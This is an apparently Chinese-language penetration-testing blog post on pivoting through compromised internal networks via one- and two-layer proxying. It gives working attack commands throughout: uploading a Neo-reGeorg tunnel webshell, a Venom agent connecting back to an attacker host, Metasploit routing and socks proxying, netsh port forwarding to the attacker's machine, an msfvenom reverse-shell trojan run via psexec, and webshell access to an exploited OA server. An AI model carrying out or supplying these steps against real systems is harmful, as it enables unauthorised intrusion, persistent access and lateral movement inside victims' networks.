Drunkmars's Blog

浅谈内网转发与流量代理

字数统计: 2.7k阅读时长: 10 min
2021/09/26

本文首发于先知社区:https://xz.aliyun.com/t/10274

我们在内网渗透的过程中一般进入内网过后都是使用代理软件正向或反向连接来达到进入对方内网的目的,但是不同网络环境的情况下使用到的方法又不尽相同,这里就对一些环境的流量转发结合一些实际操作来谈谈自己的理解。

一层网络

一层网络的话考虑到的问题不多,主要有以下两3点:

1
2
1. 靶机是否有公网ip?
2. 代理的稳定性?

首先是第一点,如果靶机有公网ip则直接使用正向连接,如果没有公网ip,我们访问不到内网主机,那么就让内网主机访问我们,使用反向连接

正向连接我一般使用的是Neo-reGeorg,这款代理软件走的是http协议,也就是说如果靶机限制了web流量的出站的话就需要使用其他代理软件,这里就简单写下操作

首先使用命令生成脚本,密码为123456

1
python neoreg.py generate -k 123456

image-20210908184345268

在当前目录下就会生成一个文件夹,根据脚本类型上传马即可,这里使用的是php的脚本

image-20210908184402028

tunnel.php上传到靶机的web目录下

image-20210908184455577

执行命令,可以看到已经代理到了本地的1080端口

1
python neoreg.py -k 123456 -u http://192.168.10.15/tunnel.php

image-20210908184530189

然后使用proxifer代理本地的1080端口即可访问内网资源

image-20210908184826403

反向连接的话我一般使用的是venom,好处的话我个人觉得它的命令相比于其他代理软件比较好记,所以一般用的比较多,也简单写下操作

首先在攻击机上监听7777端口

1
admin.exe -lport 7777

image-20210908175504755

然后在靶机上执行命令

1
agent.exe -rhost 192.168.10.8 -rport 7777

image-20210908180251201

返回攻击机执行命令将7777端口接收到的数据转换到5555端口

1
2
goto 1
socks 5555

image-20210908180317540

然后使用proxifier代理本地的5555端口

image-20210908180408661

可以看到这里已经代理成功

image-20210908180653593

访问内网的iis服务器即可成功

image-20210908180520460

第二点的话在一层网络的情况下其实稳定性都差异不大,如果是反向连接的话主要取决于vps传输的稳定性,但是在二层、三层网络的情况下确实有些差异,这里我后面会提到。

二层网络

何为二层网络?这里一个不太正规但是比较通俗的理解就是使用两次代理软件转发了两次,其实就是在内网中存在两个网段的主机

比如说我公网的vps的ip为25.36.87.95(这里乱写的打个比方),然后我拿到了公网ip为36.58.69.58(同打比方)的一个shell,内网主机的ip为192.168.2.22。

那么这里ip地址为192.168.2.1-192.168.2.255的主机都在同一网段,如果说我们上线了另外一台主机ip是192.168.2.23,这不能称得上是二层代理,在信息搜集的时候,我们发现ip为192.168.2.22这台主机和A段下的ip为10.10.1.3这台主机建立了ipc连接,如果我们要拿到10.10.1.3这台主机的shell或者上线cs/msf,这才能称得上二层网络代理转发

这里提一个点,不同网段并不是一个ip在C段(192),一个ip在A段(10)才称得上同一网段,这里如果另外一个与靶机建立ipc连接的主机的ip为192.168.3.3,我们香要上线或拿webshell,也称得上是二层网络

这里还是顺着一层网络的三个问题继续展开,首先是第一点,在二层网络的情况下是否有公网ip已经不重要了,因为是否有公网ip只影响我们内网入口的那台主机的连接方式,这里我们已经进入内网了,这个问题就没有意义了,第二点同一层网络,主要说说第三点

在测试与实战的过程中,我发现最稳定的是venom和frp,其他的要么容易断线,要么进行扫描的时候很慢,在二层网络的情况下,我用得最多的还是msf,因为msf添加路由这个功能实在是太香了,无论你有几层都直接添加路由配合socks代理带出来即可,cs这方面就差一点

这里主要演示一下在二层网络中使用msf,这里假设我已经拿到了192.168.2.189这台主机的shell(这里假设我的kali为公网ip,就已经是一层网络)

image-20210913202717310

然后nmap进行扫描得到一个同网段双网卡主机ip为192.168.2.122/10.10.1.129通过漏洞上线到msf(这里就不具体说漏洞的利用了,主要是说下二层网络代理的利用)

image-20210913211449118

这时候我们拿到了一台双网卡主机,通向10.10.1.0/24段

这里首先添加路由,拿到的这个双网卡session为4

1
2
3
4
5
6
route add 10.10.1.0 255.255.255.0 4
route print

use auxiliary/server/socks_proxy
set version 4a
run

image-20210913213258010

然后使用proxychain配合nmap扫描出另外一个处于10.10.1.0/24网段主机的ip为10.10.1.128,可以通过ipc空连接向其传输文件。这时候我们如果直接使用msf生成的木马去上线是不行的,因为10.10.1.0/24这个网段里面的主机可能处于不出网环境下,是访问不到公网ip的,这时候就需要进行流量转发

这个地方两层网络的流量就是从10.10.1.0 -> 192.168.2.0->公网ip,通过10.10.1.129主机当作跳板,把所有经过这台主机的流量全部转到kali上面去

这里为了方便执行windows命令,首先msf给cs派生一个对话

1
2
3
4
5
use exploit/windows/local/payload_inject
set lhost 192.168.2.161
set lport 5555
set sessions 4
run

image-20210913212541660

cs打开一个监听端口

image-20210913212329540

msf里面执行,cs中即可上线

image-20210913212558209

image-20210913212703217

这里我们把192.168.2.122/10.10.1.129这台主机当作跳板,那么就把所有经过这台主机的流量全部转发到kali(公网ip的vps)上,使用到ipsec

这里简单说一下ipsec

IPsec被设计用来提供(1)入口对入口通信安全,在此机制下,分组通信的安全性由单个节点提供给多台机器(甚至可以是整个局域网);(2)端到端分组通信安全,由作为端点的计算机完成安全操作。上述的任意一种模式都可以用来构建虚拟专用网(VPN),而这也是IPsec最主要的用途之一。应该注意的是,上述两种操作模式在安全的实现方面有着很大差别。

因特网范围内端到端通信安全的发展比预料的要缓慢,其中部分原因,是因为其不够普遍或者说不被普遍信任。公钥基础设施能够得以形成(DNSSEC最初就是为此产生的),一部分是因为许多用户不能充分地认清他们的需求及可用的选项,导致其作为内含物强加到卖主的产品中(这也必将得到广泛采用);另一部分可能归因于网络响应的退化(或说预期退化),就像兜售信息的充斥而带来的带宽损失一样。

那么这里我们在cs上执行命令,添加一条ipsec入站规则,这里相当于在10.10.1.129这台主机上打开7788监听端口,转发到192.168.2.105(kali ip即vps的公网IP)的7788端口

1
shell netsh interface portproxy add v4tov4 listenport=7788 connectaddress=192.168.2.105 connectport=7788

然后使用命令查看是否添加成功

1
shell netsh interface portproxy show all

image-20210913221045097

那么到这个地方就相当于我们在10.10.1.129的7788端口得到的所有流量都会被转发到公网的kali上,这里我们再使用msf生成木马的时候lhost就需要写的是内网主机的ip,即10.10.1.129

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.1.129 LPORT=7788 -f exe > abc.exe 

image-20210915200103718

然后psexec连接过去执行即可上线msf,这里可以看到connection这个地方是10.10.1.128->192.168.2.122(10.10.1.129)->192.168.2.105(模拟公网ip),上线成功

image-20210915200244911

另外在cs上也可以对二层网络进行上线,部署监听中转即可,还是演示一下

image-20210915201319029

image-20210915201330308

然后生成一个木马

image-20210915201356006

image-20210915201418077

执行即可上线

image-20210915201948819

另外二层网络这一块说了上线主机的情况,那么在特殊条件下执行命令没有这么简单,而是通过web后台写入shell,而处于二层网络的情况下直接连接也是连接不上的,这里就需要使用到代理

这里我拿到了一个ip为192.168.2.218的meterpreter,然后扫描得到10.10.1.130为一个*达OA存在漏洞可直接getshell

image-20210530133451419

这里使用proxychain访问下是能访问到的,但是如果我们在公网直接去连接是连接不到的

image-20210530124817405

image-20210530135624681

所以首先要添加10.10.1.0段的路由

1
2
3
run autoroute -s 10.10.1.0/24

run autoroute -p

image-20210530124203093

使用socks4a模块

image-20210530123353090

配置proxychains.conf

image-20210530123857773

这时候我们打开公网ip的1080端口就已经拿到了meterpreter的流量,这时候我们再用webshell连接工具配合代理连接即可连接到二层网络的shell

image-20210530135919798

添加php测试连接成功

image-20210530140115221

冰蝎也是大同小异使用代理即可

image-20210916192338046

后记

三层代理的情况遇到的很少,可以说是基本没有遇到过,这里就不演示打法了。但是思路都是大同小异,通过边缘主机(即又能访问外网,又能与内网主机通信的机器)来进行流量的转发让我们公网ip的主机能够访问到内网的机器。不过有一点是我在比较疑惑的,在二层网络的情况下,如果存在weblogic、jboss等能通过jar一键getshell的主机,直接使用proxychain是代理不进去的,而且这种jar一般也不像冰蝎、蚁剑那样自带代理功能,这时候就只能我们手动去打了?

另外提一个点,frp跟nps在多层网络里面也是很吃香的,但是这两款软件只能起一个代理的作用,相比于cs、msf的集成功能还是差点意思,所以这里我就没有单独演示frp跟nps,如果单纯论代理软件的话frp跟nps也是比较稳定的。

CATALOG
  1. 1. 一层网络
  2. 2. 二层网络
  3. 3. 后记